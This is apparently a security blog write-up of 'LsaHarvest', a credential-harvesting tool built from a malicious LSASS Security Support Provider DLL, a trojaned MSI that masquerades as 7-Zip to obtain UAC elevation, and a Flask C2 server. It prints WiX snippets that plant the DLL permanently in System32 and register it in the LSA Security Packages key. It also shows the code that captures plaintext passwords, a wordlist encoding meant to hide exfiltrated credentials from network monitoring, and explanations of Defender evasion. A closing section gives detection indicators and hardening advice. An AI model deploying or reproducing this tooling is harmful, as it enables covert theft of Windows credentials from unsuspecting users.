Introduction
LsaHarvest is the operational follow-up to my Evill-SSP research. If that project explored what a malicious Security Support Provider can do, this one answers how you actually get it deployed on a target without triggering Windows Defender.
The answer: you don’t bypass anything. You let Windows do the elevation for you.
The technique relies on a trojaned MSI installer disguised as a legitimate application. The user executes the MSI, Windows prompts for UAC, the user clicks yes, and from that point the installer has all the rights it needs: write to System32, modify the LSA registry key, and survive every reboot after. Defender never fires because every individual piece, the MSI structure, the decoy binary, the DLL, looks legitimate in isolation.
This project is strictly for educational purposes. Legal use only: internal lab, authorized pentest, CTF.
Architecture
The project has three independent components that work together.
The SSP DLL (dll/evildll.cpp) implements the SSPI interface. Once loaded by LSASS, it intercepts credentials on every authentication and forwards them to the C2 over HTTP.
The MSI installer (installer/) is a WiX v4 package that handles deployment. It writes the DLL to System32, modifies the LSA registry key, and executes a decoy binary to give the user visual feedback that something legitimate just installed.
The C2 server (server/srv-creds.py) is a lightweight Flask application that receives encoded credentials, decodes them, and persists them in rotating log files and JSONL format.
The MSI Trick
UAC as an Enabler
An SSP deployment has two hard requirements: writing a DLL to System32 and modifying HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. Both need administrator privileges. On a standard workstation, that means UAC.
Rather than bypassing UAC, LsaHarvest uses it directly. MSI files trigger an elevation prompt by design when they require elevated operations. Windows shows the standard UAC dialog, the user approves it because they think they’re installing a known application, and from that point msiexec.exe runs with full admin rights.
The package is declared as 7-Zip with a valid-looking version and manufacturer string:
<Package Name="7-Zip"
Manufacturer="Copyright (c) 1999-2024 Igor Pavlov"
Version="24.08"
UpgradeCode="cfbae935-467a-4cd6-a807-a6a4519a8762">
That string is what appears in the UAC dialog and in Programs and Features. The included 7z.exe is a legitimate binary, which adds another layer of plausibility.
What the Installer Does
The WiX project defines three component groups that execute in a single installation sequence.
ExampleComponents drops two files into the installation directory: the decoy 7z.exe and evildll.dll.
SystemComponents copies evildll.dll into System64Folder, the WiX constant that resolves to C:\Windows\System32 on x64 systems. The critical attribute here is Permanent="yes":
<Component Id="SystemEvilDllComponent" Guid="*" Permanent="yes">
<File Id="SystemEvilDLL" Source="$(var.ProjectDir)evildll.dll" KeyPath="yes" />
</Component>
Permanent="yes" instructs the Windows Installer engine to never remove this file, even on uninstall. The DLL survives an uninstall of the decoy application entirely.
RegistryComponents writes the modified Security Packages value:
<RegistryValue Root="HKLM"
Key="SYSTEM\CurrentControlSet\Control\Lsa"
Name="Security Packages"
Type="multiString"
Value="kerberos[~]msv1_0[~]schannel[~]wdigest[~]tspkg[~]pku2u[~]evildll"
KeyPath="yes" />
This appends evildll to the existing provider list. LSASS reads this key at boot and loads every DLL listed by name. After the next reboot, credential harvesting begins automatically.
The Decoy Execution
A custom action executes 7z.exe after the files are installed:
<CustomAction Id="RunDecoy"
FileRef="FirefoxInstallerExe"
ExeCommand=""
Return="asyncWait"
Execute="deferred"
Impersonate="no" />
The Execute="deferred" and Impersonate="no" combination means this action runs inside the elevated MSI transaction as SYSTEM, not as the calling user. The user sees a 7-Zip window open briefly, reinforcing the illusion of a legitimate installation completing.
The SSP DLL
The DLL implements the minimum viable SSPI surface for LSASS to accept it as a valid provider.
SpLsaModeInitialize is the entry point. LSASS calls it at load time. The function registers the package’s function table and declares compatibility with the current LSASS version.
SpGetInfo returns the package metadata: name (LsaHarvest), comment, and capability flags. The flags SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION are the minimum needed for LSASS to route authentications to the package.
SpAcceptCredentials is where the interception happens. LSASS calls this function after every successful authentication, passing the logon type, account name, and a SECPKG_PRIMARY_CRED structure containing domain name and password in plaintext:
NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType,
PUNICODE_STRING AccountName,
PSECPKG_PRIMARY_CRED PrimaryCredentials,
PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
std::string account = wstring_to_utf8(AccountName->Buffer);
std::string domain = wstring_to_utf8(PrimaryCredentials->DomainName.Buffer);
std::string password = wstring_to_utf8(PrimaryCredentials->Password.Buffer);
// encode and exfiltrate...
}
The DLL has no dependency on LSASS internals or undocumented structures. SECPKG_PRIMARY_CRED is a documented SDK type. This is standard SSPI programming, which is part of why Defender doesn’t flag it.
The Wordlist Encoding
Sending password=MySuperPass! in a raw HTTP POST would be immediately visible to any network monitor or DLP. LsaHarvest uses a custom substitution encoding to obfuscate the payload at the transport layer.
The DLL defines a table of 95 four-letter words, one per printable ASCII character from 0x20 (space) to 0x7E (~):
static const char* WORDLIST[95] = {
"able", "acid", "aged", "also", "area", "army", "away", "baby",
"back", "ball", "band", "bank", "base", "bath", "bear", "beat",
// ...
"drop", "drum", "dual", "dull", "dumb", "dusk", "dust"
};
Each character of the raw payload (domain=X&login=Y&password=Z) is replaced by its corresponding word, joined with dashes. The result is sent as a single form field named token:
POST /api/v1/login
Content-Type: application/x-www-form-urlencoded
token=data-code-bond-acid-clip-coal-...
To an IDS signature looking for password= or base64 patterns, this looks like arbitrary form data. The encoding trades size efficiency for visual inconspicuousness: a 20-character password becomes roughly 100 characters of words. An acceptable overhead for an in-LSASS context where the credential volume is low.
The C2 server holds the mirror wordlist and reverses the mapping on reception:
_DECODE = {word: chr(i + 0x20) for i, word in enumerate(_WORDLIST)}
def decode_payload(token: str) -> str:
return "".join(_DECODE.get(w, "?") for w in token.split("-") if w)
An unknown word maps to ?, giving graceful degradation if a token arrives partially corrupted.
The C2 Server
The Flask server exposes three endpoints.
POST /api/v1/login receives the encoded token, decodes it word by word, parses the domain=&login=&password= key-value string, and persists the credential. Output goes to both the console with ANSI colors and two files: a rotating plaintext log (creds.log, 5 MB cap, 3 backups) and a JSONL file (creds.jsonl) with one JSON object per captured logon including timestamp and source IP.
GET /health returns a count of captured credentials, useful for quick status checks during an operation without exposing the credential content.
GET /dump returns the full JSONL store as a formatted JSON array, for bulk export at the end of an engagement.
MITRE ATT&CK Coverage
T1547.005 - Boot or Logon Autostart Execution: Security Support Provider covers the LSA registration and persistent credential harvesting post-reboot. Same technique as Evill-SSP.
T1218.007 - System Binary Proxy Execution: Msiexec covers the delivery mechanism. The MSI runs under msiexec.exe, a signed Windows system binary, which adds a layer of legitimacy to the process tree and makes the initial execution harder to attribute.
T1036 - Masquerading covers the 7-Zip impersonation: package metadata, decoy binary, and UAC dialog all reference a known legitimate application.
Why Defender Stays Silent
Windows Defender’s static and behavioral engines flag on signatures and suspicious behavioral sequences. LsaHarvest avoids both.
Statically, the DLL has no shellcode, no suspicious import table, and no embedded strings that match known malware patterns. It imports Secur32.lib and winhttp.lib, both completely standard Windows SDK libraries.
Behaviorally, the MSI is a standard container executed by msiexec.exe. The registry write to HKLM\...\Lsa\Security Packages happens inside an elevated MSI transaction, a pattern Defender does not treat as inherently malicious in isolation. The DLL written to System32 has no unusual characteristics at install time because LSASS hasn’t loaded it yet, and the malicious behavior only begins after a reboot.
By the time LSASS loads the DLL and it starts making network connections, the MSI is long gone from the execution context. There is no obvious causal chain for Defender to correlate.
Why an EDR Will Catch It
A modern EDR does not see events in isolation. It builds a timeline and correlates sequences.
The LSA registry key modification is a high-confidence signal on its own. Products like Microsoft Defender for Endpoint, CrowdStrike Falcon, and SentinelOne have explicit detection rules on Security Packages writes because the list of legitimate providers is stable. Any new entry should generate at minimum a medium-severity alert.
After reboot, the DLL load into LSASS is the second signal: an unsigned DLL, not present in any known-good baseline, loading into a process that handles authentication secrets. If RunAsPPL is enabled, LSASS refuses to load it entirely and the attack stops here.
The network connection from lsass.exe to an external IP is the third and strongest signal. LSASS has no legitimate reason to initiate outbound HTTP connections. This pattern alone is a critical IOC in virtually every EDR product on the market.
Detection and Defense
What to Monitor
Registry: alert on any write to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages or OSConfig\Security Packages. These keys are modified extremely rarely in normal operation. Any change outside a known patch window is suspicious by default.
Process: use Sysmon Event ID 7 (ImageLoad) filtered to lsass.exe. Any DLL loaded outside the expected set warrants investigation. Unsigned DLLs are an immediate escalation.
Network: LSASS making outbound connections is an unambiguous anomaly. Any HTTP or HTTPS traffic originating from lsass.exe should trigger a critical alert regardless of destination.
Installer behavior: an MSI that writes to System32 and simultaneously modifies an LSA registry key, particularly with Permanent="yes" components, is a pattern worth building a detection rule around. The combination is rare in legitimate software.
IOC
Security Packagesregistry key modified outside patch cycles, unknown DLL name in the valueevildll.dllor any similarly named file inC:\Windows\System32- Unsigned DLL in the LSASS module list
- HTTP POST from
lsass.exewith atoken=word-word-wordbody pattern - User-Agent
LsaHarvest/1.0in network capture
Hardening
RunAsPPL is the single most effective control. Configuring LSASS as a Protected Process Light blocks any unsigned DLL from loading. With RunAsPPL active, the DLL gets registered in the registry but LSASS refuses to execute it at boot. The attack fails silently, and the credential stream is never touched.
WDAC or AppLocker can restrict which DLLs are allowed to load system-wide. A policy that blocks unsigned or non-Microsoft DLLs from System32 cuts this attack regardless of how the file lands on disk.
LSA audit logging (HKLM\SYSTEM\CurrentControlSet\Control\Lsa\AuditLevel set to 8) causes LSASS to log each loaded security package, giving a native audit trail without requiring third-party tooling.
Network egress filtering: blocking outbound connections from the LSASS process at the host firewall level eliminates the exfiltration channel. Credential interception still happens but the attacker retrieves nothing.
Conclusion
LsaHarvest shows that deploying an SSP does not require exploiting anything. A standard MSI, a legitimate decoy binary, and a user who clicks yes to a UAC prompt is enough to get an unsigned DLL inside LSASS and keep it there across every reboot until the machine is rebuilt.
The technique passes Defender because each component looks legitimate on its own. It fails against a tuned EDR because the LSA registry key write is an unmistakable signal that no legitimate installer should produce outside of very specific circumstances.
The registry key is the choke point. Monitoring Security Packages writes with a zero-tolerance policy is the single highest-value control for this class of attack.
Resources
- GitHub - Kuorashi/LsaHarverst (educational purposes only)
- GitHub - Kuorashi/Evill-SSP (predecessor project)
- MITRE ATT&CK - T1547.005
- MITRE ATT&CK - T1218.007
- WiX Toolset Documentation
- SSPI Architecture - Microsoft Docs
- Sysmon Configuration - SwiftOnSecurity